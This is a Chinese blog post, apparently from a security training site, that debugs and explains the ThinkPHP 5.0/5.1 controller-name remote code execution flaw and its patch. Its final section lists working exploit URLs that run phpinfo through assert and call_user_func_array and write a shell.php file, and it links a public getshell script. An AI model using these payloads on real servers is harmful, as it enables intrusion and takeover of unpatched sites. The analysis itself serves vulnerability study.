首页 技术 正文
技术 2022年11月18日
0 收藏 668 点赞 3,529 浏览 4772 个字

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性。但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。

这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括5.0和5.1版本。

那么今天i春秋用动态分析法来介绍远程代码执行,同时还能快速了解整个执行过程和一些变量参数,文章阅读用时约7分钟。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

01环境

程序源码下载:

http://www.thinkphp.cn/download/967.html

Web环境:Windows 10 x64+PHPStudy 20018

调试工具:phpstorm+xdebug(用vscode也可以,我比较习惯用phpstorm)

因为我是从头分析到尾,所以要在设置里面勾上Break at first line in PHP script

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

搭建就不多说了,放源码在根目录然后phpstudy启动!

02漏洞复现

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

其实有很多利用的地方,到后面分析完再说。

03漏洞分析

因为是从开始分析,也比较适合新手,就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉Break at first line in PHP script再下断点)。

有些不是重点的直接F7或者F8走下去,F7跟进Facade:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

到App.php初始化的地方,继续F8往下面走:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

到routeCheckF7跟进去:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

到这里F7继续跟进去:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

有些没有必要的函数就直接F8跳过去,到pathinfo( )这里F7跟进去:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

我们可以分析一下这个·pathinfo函数的代码$this->config->get(‘var_pathinfo’)这一句是从配置文件config/app.php获取的值:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

当请求报文包含$_GET[‘s’],就取其值作为pathinfo,并返回pathinfo给调用函数,所以我们可利用$_GET[‘s’]来传递路由信息。

 public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config->get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
unset($_GET[$this->config->get('var_pathinfo')]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach ($this->config->get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}

可以看到return $this->pathinfo;返回的内容:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7走,可以看到$pathinfo赋值给$this->path:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7走到check的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了UrlDispatch对象,将$url传递给了构造函数。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

再继续分析下去,中间有些不必要的直接F8走过就行了。可以看到将$url传递给了$action。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7走下去,跳回了App.php,可以看到$dispatch返回来的值代入dispatch方法。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7走进去,可以看到传入的$dispatch赋值给了$this->dispatch,不过现在分析这个版本是有改动的,有些版本是在这里用dispatch代入下面会分析到的parseUrl方法,这个版本的是用$this->action来parseUrl方法的,继续分析下去,下面会分析到的。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7又返回了App.php的文件,可以看到执行调度这里$data = $dispatch->run( );,我们F7跟进去。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

这里就是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;传过来的。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

我们F7继续分析parseUrl方法,然后F8走到这里。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7进到这个parseUrlPath方法里面,用/来分割[模块/控制器/操作]并存到$path数组里面。

 private function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} elseif (false !== strpos($url, '=')) {
// 参数1=值1&参数2=值2...
parse_str($url, $var);
} else {
$path = [$url];
}
return [$path, $var];
}

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

中间的继续F8往下走,返回的$route数组

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

继续往下走,F7进去。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

可以看到:

thinkphp/library/think/route/Dispatch.php类这里的$this->action的值变了。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

继续会走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action赋值给了$result。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F8往下走,走到实例化控制器,这里的$controller是可控的,是由上面的$result[1]传过来的。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

下面就是调用反射执行类的步骤了:

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

也可以往下看,这里是通过invokeMethod 函数动态调用方法的地方,可以看到$class是think\Requset的类,$method是input。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

后面就是把内容输出到浏览器的过程了

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

04漏洞分析回顾

开始我们分析pathinfo( )函数的时候得知可以用s来获取路由信息

parseUrlPath方法用来分割[模块/控制器/操作]格式

在后面传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类。

最后是反射函数,调用了input方法执行phpinfo( )

一定是要Request类里面的input方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1是下面这些:

think\Loader
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

这里也不写getshell的python脚本了 ,可以参考:

https://github.com/theLSA/tp5-getshell

05补丁分析

下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入\think\app这种形式的控制器。

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析

以上是今天的内容,大家看懂了吗?

 

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:8,992
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,506
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,349
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,134
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,767
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,844